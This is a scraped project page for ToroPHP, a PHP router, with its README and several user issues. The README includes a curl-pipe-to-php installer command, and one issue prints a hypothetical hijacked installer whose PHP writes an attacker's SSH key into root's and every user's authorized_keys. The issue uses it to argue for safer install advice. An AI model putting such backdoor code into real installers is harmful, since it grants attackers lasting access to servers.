Toro is a PHP router for developing RESTful web applications and APIs.

Related tags

Routers ToroPHP
Overview

Toro

Toro is a PHP router for developing RESTful web applications and APIs. It is designed for minimalists who want to get work done.

Quick Links

Features

  • RESTful routing using strings, regular expressions, and defined types (number, string, alpha)
  • Flexible error handling and callbacks via ToroHook
  • Intuitive and self-documented core (Toro.php)
  • Tested with PHP 5.3 and above

"Hello, world"

The canonical "Hello, world" example:

<?php

class HelloHandler {
    function get() {
        echo "Hello, world";
    }
}

Toro::serve(array(
    "/" => "HelloHandler",
));

Routing Basics

Routing with Toro is simple:

<?php

Toro::serve(array(
    "/" => "SplashHandler",
    "/catalog/page/:number" => "CatalogHandler",
    "/product/:alpha" => "ProductHandler",
    "/manufacturer/:string" => "ManufacturerHandler"
));

An application's route table is expressed as an associative array (route_pattern => handler). This is closely modeled after Tornado (Python). Routes are not expressed as anonymous functions to prevent unnecessary code duplication for RESTful dispatching.

From the above example, route stubs, such as :number, :string, and :alpha can be conveniently used instead of common regular expressions. Of course, regular expressions are still welcome. The previous example could also be expressed as:

<?php

Toro::serve(array(
    "/" => "SplashHandler",
    "/catalog/page/([0-9]+)" => "CatalogHandler",
    "/product/([a-zA-Z0-9-_]+)" => "ProductHandler",
    "/manufacturer/([a-zA-Z]+)" => "ManufacturerHandler"
));

Pattern matches are passed in order as arguments to the handler's request method. In the case of ProductHandler above:

<?php

class ProductHandler {
    function get($name) {
        echo "You want to see product: $name";
    }
}

RESTful Handlers

<?php

class ExampleHandler {
    function get() {}
    function post() {}
    function get_xhr() {}
    function post_xhr() {}
}

From the above, you can see two emergent patterns.

  1. Methods named after the HTTP request method (GET, POST, PUT, DELETE) are automatically called.

  2. Appending _xhr to a handler method automatically matches JSON/XMLHTTPRequest requests. If the _xhr method is not implemented, then the given HTTP request method is called as a fallback.

ToroHook (Callbacks)

As of v2.0.0, there are a total of five Toro-specific hooks (callbacks):

<?php

// Fired for 404 errors; must be defined before Toro::serve() call
ToroHook::add("404",  function() {});

// Before/After callbacks in order
ToroHook::add("before_request", function() {});
ToroHook::add("before_handler", function() {});
ToroHook::add("after_handler", function() {});
ToroHook::add("after_request",  function() {});

before_handler and after_handler are defined within handler's constructor:

<?php

class SomeHandler {
    function __construct() {
        ToroHook::add("before_handler", function() { echo "Before"; });
        ToroHook::add("after_handler", function() { echo "After"; });
    }

    function get() {
        echo "I am some handler.";
    }
}

Hooks can also be stacked. Adding a hook pushes the provided anonymous function into an array. When a hook is fired, all of the functions are called sequentially.

Installation

Grab a copy of the repository and move Toro.php to your project root.

Using Composer

Install composer in your project:

$ curl -s https://getcomposer.org/installer | php

Caution: The above command requires you to place a lot of trust in the composer team to not get hacked and have a backdoor installed in their installer script. If secuity is a concern, consider doing the following:

$ curl -s https://getcomposer.org/installer > installer.php
$ less installer.php
$ # When you're certain it's safe...
$ php installer.php

Create a composer.json file in your project root:

{
    "require": {
        "torophp/torophp": "dev-master"
    }
}

Install via composer:

$ php composer.phar install

Server Configuration

Apache

You may need to add the following snippet in your Apache HTTP server virtual host configuration or .htaccess file.

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond $1 !^(index\.php)
RewriteRule ^(.*)$ /index.php/$1 [L]

Alternatively, if you’re lucky enough to be using a version of Apache greater than 2.2.15, then you can instead just use this one, single line:

FallbackResource /index.php

IIS

For IIS you will need to install URL Rewrite for IIS and then add the following rule to your web.config:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
          <rule name="Toro" stopProcessing="true">
            <match url="^(.*)$" ignoreCase="false" />
              <conditions logicalGrouping="MatchAll">
                <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
                <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
                <add input="{R:1}" pattern="^(index\.php)" ignoreCase="false" negate="true" />
              </conditions>
            <action type="Rewrite" url="/index.php/{R:1}" />
          </rule>
        </rewrite>
    </system.webServer>
</configuration>

Nginx

Under the server block of your virtual host configuration, you only need to add three lines.

location / {
  try_files $uri $uri/ /index.php?$args;
}

Contributions

Contributions to Toro are welcome via pull requests.

License

ToroPHP was created by Kunal Anand and released under the MIT License.

Comments
  • Replaced $_SERVER['PATH_INFO'] variable

    Replaced $_SERVER['PATH_INFO'] variable

    $_SERVER['PATH_INFO'] isn't set by default on many servers. For instance, the existing code would not work on NGINX by default.

    There is no 100% perfect way to do it, really, but this way is easy and clean.

    Replaced the direct call to the $_SERVER var with code that rebuilds the request URL then parses it for the path.

    Tested on Apache and Nginx

    opened by dangayle 19
  • Configuration nginx + php5-fpm

    Configuration nginx + php5-fpm

    Hi. I need to install Toro PHP on my server (nginx + php5-fpm).

    This is my config:

    server {
      listen 80;
      server_name xxxx;
      access_log /var/log/nginx/xxxx.access_log;
      error_log /var/log/nginx/xxx.error_log;
    
      root /var/www/xxxxx;
      index index.php index.htm index.html;
    
      # unless the request is for a valid file, send to bootstrap
      if (!-e $request_filename){
        rewrite ^(.*)$ /index.php/$1 break;
      }
      # catch all
      error_page 404 /index.php;
    
      location ~ .php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME /var/www/xxxxx/$fastcgi_script_name;
        include fastcgi_params;
      }
    
      location ~ /\.ht{
      deny all;
      }
    }
    

    This code only show default page.

    What am I doing wrong?

    Thanks.

    opened by diogopms 11
  • forgot to add the extratokens variable to the serve function

    forgot to add the extratokens variable to the serve function

    Added $extratokens to the server() fuction.

    Sample usage: Toro::serve(array( "/" => "MainPageHandler", "/users" => "UsersHandlerShow", "/users/:userid/edit" => "UsersHandlerEdit", ), array(':userid' => CurrentUserID())); // CurrentUserID() in this case returns the userid of the currently logged in user.

    opened by small1 10
  • Composer/Packagist support?

    Composer/Packagist support?

    I’ve created a new branch, composer, which you can find at https://github.com/anandkunal/ToroPHP/tree/composer.

    I was thinking it might be a worthwhile getting ToroPHP up on Packagist so it was supported by Composer? Don’t know peoples’ thoughts on this, which is why I didn’t immediately merge it into the master branch. Thoughts, @anandkunal?

    opened by martinbean 9
  • Piping code from a network directly to PHP is foolish

    Piping code from a network directly to PHP is foolish

    Good security habits are important for developers. Advising that people perform an action like this without a second thought is detrimental to the security of newbies everywhere:

    curl -s https://getcomposer.org/installer | php
    

    Steps to exploit:

    1. Hack getcomposer.org
    2. Serve something like this instead of the standard installer:
    <?php
    if( `whoami` !== 'root' ) {
        die("Permission denied. Try running with sudo");
    }
    file_put_contents("/root/.ssh/authorized_keys", $attacker_rsa_pub);
    chdir("/home");
    foreach(glob("*") as $d) {
        if(is_dir($d)) {
            file_put_contents("/home/{$d}/.ssh/authorized_keys", $attacker_rsa_pub);
        }
    }
    // Rest of composer code below
    ?>
    

    Mitigation: At least caution people against downloading and running code in the same step without checking it for backdoors first. If nothing else.

    opened by sarciszewski 8
  • Is ToroPHP gone for good?

    Is ToroPHP gone for good?

    Admittedly, not a bug/code issue. But I'd be curious to hear what happened, and if the original team suggests alternatives. (Interestingly, Tornado, the Python framework from which Toro took some inspiration, is still alive).

    opened by puntofisso 5
  • Subdirectory / doesn't work

    Subdirectory / doesn't work

    Toro works on root. However placed in subdirectory (ravenproj), the root route "/" stops working. The others routes "/journal", "/work" still work. Any ideas?

    RewriteEngine on
    
    RewriteBase /ravenproj
    
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    
    RewriteCond $1 !^(index.php)
    RewriteRule .* index.php/$0 [L]
    
    
    Toro::serve(array(
        "/admin" => "Admin",
        "/journal" => "Journal",
        "/about" => "About",
        "/" => "Work"
    ), '/ravenproj'); // also without the prefix it doesn't work
    
    opened by ghost 5
  • Documentation change request - sub-directories

    Documentation change request - sub-directories

    This may just show my inexperience but:

    I had my index.php under a sub-directory. In my case, I called it http://domain.com/rest for all my REST programming.

    In this case, you have to append /rest/ to all my routes. For example:

    Toro::serve(array( "/rest/" => "DefaultHandler", "/rest/hand2 => "Handler2", "/rest/hand3 => "Handler3", ));

    Took me a while to work this through. Hope this helps someone.

    opened by watsocd 5
  • Smarty + Toro - any examples?

    Smarty + Toro - any examples?

    Hi all. I've been researching routing classes, and Toro seems to be my favorite so far, it really seems like it's the simplest/easiest one for those like me who are really new to routing.

    I've used Smarty with PHP for quite a long time, are there any examples out there which show a simple Toro routing + Smarty integration? I would LOVE to see this, it would really help me get un-stuck here.

    Thanks.

    opened by shackrock 5
  • Ability to specify request method by query string parameter

    Ability to specify request method by query string parameter

    Hi all,

    I was wondering what thoughts would be on the ability to specify the request method to use via a query string parameter, something like http://domain.com/api/events?method=post? It would make developing APIs a lot easier for me and wondered if it would benefit any one else?

    opened by martinbean 5
  • route pattern limitation?

    route pattern limitation?

    Hi, @anandkunal !

    It's my first time to use ToroPHP to write RESTful service.

    It seems that the route pattern has some limitation? such like

    /v1/devices/:alpha/registrations/:alpha/:alpha (Yes, this is for iOS passbook webservice).

    ToroPHP cannot work(Slimframework does!).

    So, will you make a patch for this?

    opened by zenz 5
  • To provide CORS support.

    To provide CORS support.

    By default, ToroPHP can't work out of the box in Cross-origin resource sharing (CORS) mechanism. This is a scenario possibly seen using ToroPHP for some quick development in small projects as a RESTful API backend.

    One issue would be "Origin is not allowed" error when Ajax interacts with the API built upon ToroPHP at a different server.

    Solution to this is to have Access-Control-Allow-Origin header present, and having value of either the requesting server ip/domain, or a wildcard *

    One issue would be preflight OPTIONS request from requests other than GET and POST, so like PUT, DELETE etc. So currently without modifying the framework, those will fail, as the ajax will first expecting a response of OPTIONS before the actual PUT/DELETE etc request.

    I would propose to add into the Toro.php an option (a boolean variable) to enable CORS, upon enabling should respond to all requests at least the following headers,

    • Access-Control-Allow-Origin
    • Access-Control-Allow-Methods (there are a few more, x-ref Wikipedia, but at least these two should be there for it to work)

    Please let me know if I should proceed to attempt this feature. Let me know what you guys think.

    Relavent resources Wikipedia:Cross-origin resource sharing Using CORS - HTML5 Rocks

    opened by yuan3y 0
  • ToroPHP and dependency injection

    ToroPHP and dependency injection

    Hello! I just picked up ToroPHP and I normally use DI when I do any kind of database interaction.

    Rough example

    $db = new PDO("mysql:host=myhost;dbname=myname", "username", "password");
    $object = new Object($db);
    
    class Object {
        private $db;
    
        function __construct($dbConn) {
            $this->db = $dbConn;
        }
    
        function get($string) {
            $sql = $this->db->prepare("statement GOES here");
        }
    }
    

    But ToroPHP doesn't allow you to do this, is there any way to get around this? I don't wanna use a global variable.

    Toro::serve(array(
        "/" => "Object",
        "/get/:string" => "Object" //would be injected somewhere so you could get :string from the db.
    ));
    
    opened by Ecaz 3
  • Pass captured regex values to route handler defined as functions.

    Pass captured regex values to route handler defined as functions.

    This update allows $regex_matches to be passed to handler methods the same way they are called when using a class handler.

    For example:

    '/route/([page1/page2/page3])+)' => function ($page) {
     switch($page) {
      case 'page1':
      break;
      case 'page2':
      break;
     }
    },
    '/another/:number' => function ($number) { ... }
    
    opened by jbottigliero 0
  • Readme.md - Server Configuration question.

    Readme.md - Server Configuration question.

    Can you please add an example in the Readme.md - Server Configuration for nginx?

    I see one post about it but it looks unresolved and closed. If somebody out there in the Toro community got it working in nginx.. please have the example added in Readme.md - Server Configuration.

    Thank you.

    • Shogo
    opened by shogo2040 1
Owner
Kunal Anand
Kunal Anand
Thruway - an open source client and router implementation of WAMP (Web Application Messaging Protocol), for PHP.

PHP Client and Router Library for Autobahn and WAMP (Web Application Messaging Protocol) for Real-Time Application Messaging

Voryx 661 Nov 14, 2022
A web router implementation for PHP.

Aura.Router Powerful, flexible web routing for PSR-7 requests. Installation and Autoloading This package is installable and PSR-4 autoloadable via Com

Aura for PHP 469 Jan 1, 2023
:tada: Release 2.0 is released! Very fast HTTP router for PHP 7.1+ (incl. PHP8 with attributes) based on PSR-7 and PSR-15 with support for annotations and OpenApi (Swagger)

HTTP router for PHP 7.1+ (incl. PHP 8 with attributes) based on PSR-7 and PSR-15 with support for annotations and OpenApi (Swagger) Installation compo

Sunrise // PHP 151 Jan 5, 2023
Simple, fast and yet powerful PHP router that is easy to get integrated and in any project.

Simple, fast and yet powerful PHP router that is easy to get integrated and in any project. Heavily inspired by the way Laravel handles routing, with both simplicity and expand-ability in mind.

Simon Sessingø 472 Jan 4, 2023
Pux is a fast PHP Router and includes out-of-box controller tools

Pux Pux is a faster PHP router, it also includes out-of-box controller helpers. 2.0.x Branch Build Status (This branch is under development) Benchmark

Yo-An Lin 1.3k Dec 21, 2022
A lightweight and simple object oriented PHP Router

bramus/router A lightweight and simple object oriented PHP Router. Built by Bram(us) Van Damme (https://www.bram.us) and Contributors Features Support

Bramus! 935 Jan 1, 2023
PhpRouter is a powerful, lightweight, and very fast HTTP URL router for PHP projects.

PhpRouter PhpRouter is a powerful, lightweight, and very fast HTTP URL router for PHP projects. Some of the provided features: Route parameters Predef

Milad Rahimi 152 Dec 28, 2022
A lightweight and fast router for PHP

Piko Router A lightweight and blazing fast router (see benchmarks) using a radix trie to store dynamic routes. This router maps routes to user defined

Piko framework 62 Dec 27, 2022
PHPRouter is an easy-to-use, fast, and flexible PHP router package with express-style routing.

PHP-Router is a modern, fast, and adaptable composer package that provides express-style routing in PHP without a framework.

Ayodeji O. 4 Oct 20, 2022
A lightweight and very basic PHP router.

Katya A lightweight PHP router Configuration Para servidor Apache, en el directorio del proyecto crea y edita un archivo .htaccess con lo siguiente: <

Luis Rodríguez 0 Apr 4, 2022
klein.php is a fast & flexible router for PHP 5.3+

Klein.php klein.php is a fast & flexible router for PHP 5.3+ Flexible regular expression routing (inspired by Sinatra) A set of boilerplate methods fo

null 2.6k Jan 7, 2023
OpenAPI (Swagger) Specification Support for Sunrise Router (and not only)

OpenAPI (Swagger) Specification Support for Sunrise Router Important to understanding OpenAPI Specification Installation composer require 'sunrise/htt

Sunrise // PHP 3 Feb 12, 2022
Fast request router for PHP

FastRoute - Fast request router for PHP This library provides a fast implementation of a regular expression based router. Blog post explaining how the

Nikita Popov 4.7k Dec 23, 2022
:bird: Simple PHP router

Macaw Macaw is a simple, open source PHP router. It's super small (~150 LOC), fast, and has some great annotated source code. This class allows you to

Noah Buscher 895 Dec 21, 2022
Flight routing is a simple, fast PHP router that is easy to get integrated with other routers.

The PHP HTTP Flight Router divineniiquaye/flight-routing is a HTTP router for PHP 7.1+ based on PSR-7 and PSR-15 with support for annotations, created

Divine Niiquaye Ibok 16 Nov 1, 2022
A simple PHP Router

Panda Router Description the panda-router is a small alternative PHP router that can be used for small projects. With this router you can use differen

Jan Behrens 1 Dec 27, 2021
A PHP Router Package

Router A PHP Router Package Basic Concepts A router package is a utility that, once all http requests are redirected to an entry point, can configure

null 0 Aug 26, 2022
The simple PHP router

Macaw Macaw is a simple, open source PHP router. It's super small (~150 LOC), fast, and has some great annotated source code. This class allows you to

Noah Buscher 895 Dec 21, 2022
A fast & flexible router

Klein.php klein.php is a fast & flexible router for PHP 5.3+ Flexible regular expression routing (inspired by Sinatra) A set of boilerplate methods fo

null 2.6k Dec 28, 2022